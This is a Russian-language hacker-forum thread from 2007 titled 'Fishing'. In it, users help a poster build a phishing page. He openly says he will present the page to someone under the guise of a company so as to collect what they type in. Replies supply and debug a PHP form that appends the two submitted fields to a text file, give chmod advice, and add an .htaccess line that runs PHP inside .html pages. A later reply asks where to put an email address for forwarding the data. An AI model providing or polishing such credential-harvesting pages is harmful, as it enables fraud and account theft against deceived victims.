PDA

Просмотр полной версии : HTML/HTM - Fishing


Хелпер
12.05.2007, 15:39
Господа. Помогите. Нужно намутить страничку с двумя полями для ввода текста. и чтобы введённые данные отправлялись на мыло или сохранялись на сервере в Txt документ. ОЧЕНЬ ПРОШУ.

Isis
12.05.2007, 15:48
<form method="post">
<input name="pole" value="pole 1"/>
<input name="pole2" value="Pole 2"/>
<input type="submit" name="go"/>
</form>
<?php
if($_POST['go'])
{
$file= fopen('file.txt', "a");
fwrite($file, $POST['pole']."\r\n".$POST['pole2']);
fclode($file);
}
?>

mouse.pro
12.05.2007, 17:20
Господа. Помогите. Нужно намутить страничку с двумя полями для ввода текста. и чтобы введённые данные отправлялись на мыло или сохранялись на сервере в Txt документ. ОЧЕНЬ ПРОШУ.
Видимо после подмены dns античата, не только у меня возникли такие же мысли :)

Исправил ошибки выше написаного поста

<form method="post">
<input name="pole" value="pole 1">
<input name="pole2" value="Pole 2">
<input type="submit" name="go">
</form>
<?php
if($_POST['go'])
{
$file= fopen('file.txt', "a");
fwrite($file, $_POST['pole'].";".$_POST['pole2']."\r\n");
fclose ($file);
}
?>

Хелпер
12.05.2007, 19:12
Извените, но файл file.txt после пробы остаётся пустым... :(

Ky3bMu4
12.05.2007, 19:19
Права 777 на папку и скрипт выставил?

Хелпер
12.05.2007, 19:31
Права 777 на папку и скрипт выставил?
а чё такое права 777 ??? Я не знаю PhP дайте готовую страницу, шоб тока я её дал комунить под видом ООО "хххх" и всё....

Хелпер
12.05.2007, 19:43
Вот чё выводится при клики на sumbit
Method Not Allowed
The requested method POST is not allowed for the URL /icq.html.

DRON-ANARCHY
13.05.2007, 00:02
То ли метод POST запрещен, то ли ты хочешь параметры втыкивать в html страницу)

p-range
13.05.2007, 01:33
not allowed for the URL /icq.html.
то ли ты хочешь параметры втыкивать в html страницу)
наверное так и есть :D

Isis
13.05.2007, 02:25
Если хочешь чтобы пхп скрипты выполнялись в html файлах добавь в файл .htaccess такой код:
AddType application/x-httpd-php .php .html

Ky3bMu4
13.05.2007, 10:32
fflush($file);
Вроде нехватает.

p-range
13.05.2007, 10:40
причем тут это? он передает пост параметры html файлу.

Ky3bMu4
13.05.2007, 11:10
Я php стал недавно изучать, но если не ошибаюсь, то fflush(); записывает изменения на диск. :cool:

Isis
13.05.2007, 11:17
fflush

(PHP 4 >= 4.0.1, PHP 5)
fflush -- Сброс буфера вывода в файл
Описание
bool fflush ( resource handle )

Данная функция осуществляет сброс буферизованных данных в файл, на который указывает handle. Возвращает TRUE в случае успешного завершения, FALSE - в противном случае. Возвращает TRUE в случае успешного завершения или FALSE в случае возникновения ошибки.

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen().

mouse.pro
13.05.2007, 12:25
В скрипте все нормально, я проверил у себя! Все работает, все записываем и создает!
Причина может быть в том, что chmod не выставлен как нужно, либо как сказал один из участников форума
то ли ты хочешь параметры втыкивать в html страницу)

Денись)ч
30.05.2007, 07:41
в какую строку вписывать адрес почты , на который всё будет высылаться
Если не трудно то покажите код готовой страницы